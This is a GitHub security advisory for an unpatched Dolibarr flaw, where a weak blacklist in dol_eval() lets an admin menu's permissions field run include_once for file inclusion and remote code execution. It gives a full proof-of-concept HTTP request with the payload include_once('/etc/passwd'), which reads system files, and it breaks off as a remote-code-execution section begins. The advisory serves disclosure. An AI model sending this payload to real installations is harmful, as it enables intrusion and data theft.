GitHub Security Advisory: GHSA-49xw-hw94-fmv2
Package: dolibarr/dolibarr (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Vulnerable versions: <= 21.0.2
Patched in: unpatched

Summary: Dolibarr has Remote Code Execution Vulnerability (Bypass)

Details:
# Summary

The Dolibarr backend provides the function of adding Menu, and supports setting permissions for the added Menu:

![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image[PII_REDACTED]4114688.png)

This is the trigger point of the vulnerability. The submitted permission can be php code, and it will be executed when viewing the created Menu:

- htdocs/admin/menus/edit.php

![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image[PII_REDACTED]4445656.png)

As you can see, in edit.php, if the created menu is set to `$menu->perms`, the `dol_eval()` method will be called. Following the `dol_eval()` method, we can see that it will filter the dangerous php functions in `$menu->perms` through the blacklist set in `$forbiddenphpfunctions`:

![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image[PII_REDACTED]4725548.png)

However, the blacklist here is not comprehensive. For example, the `include_once` and `require_once` functions can easily pass the blacklist check, which will cause file inclusion vulnerabilities. Moreover, if the `allow_url_include` option is enabled in php.ini, arbitrary code execution will occur. **The most serious thing is that we can cooperate with the file upload at `/htdocs/user/document.php?id=1&uploadform=1` to achieve more general arbitrary code execution.**

# Proof of Concept

## Local File Inclusion

(1) First, create a Menu and set "Permissions" to `include_once('/etc/passwd')` (note that `''` must be used here because `"` will be detected):

```http
POST /htdocs/admin/menus/edit.php?action=add&token=fae63868ce9c2a7eece04a49ffdbe23f&menuId=0 HTTP/1.1
Host: 192.168.31.31
Content-Length: 210
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.31
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.31.31/htdocs/admin/menus/edit.php?menuId=0&action=create&menu_handler=all&backtopage=%2Fhtdocs%2Fadmin%2Fmenus%2Findex.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Cookie: DOLSESSID_cc5001a0224d79c07308a0908c6213b79e5d7d10=82ef3f1d798bf58a0e11c0cbacc390dd
Connection: close

token=fae63868ce9c2a7eece04a49ffdbe23f&menu_handler=all&user=2&type=top&propertymainmenu=test1test&titre=test1test&url=test1test&langs=&position=100&target=&enabled=1&perms=include_once('/etc/passwd')&save=Save
```

![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image[PII_REDACTED]5411557.png)

(2) Then we look at the Menu we just created, and we can see that the contents of `/etc/passwd` have been successfully read out:

![](https://raw.githubusercontent.com/wh0amitx/Misc/main/images/image[PII_REDACTED]5517668.png)

## Remote Code Execution - 1

(1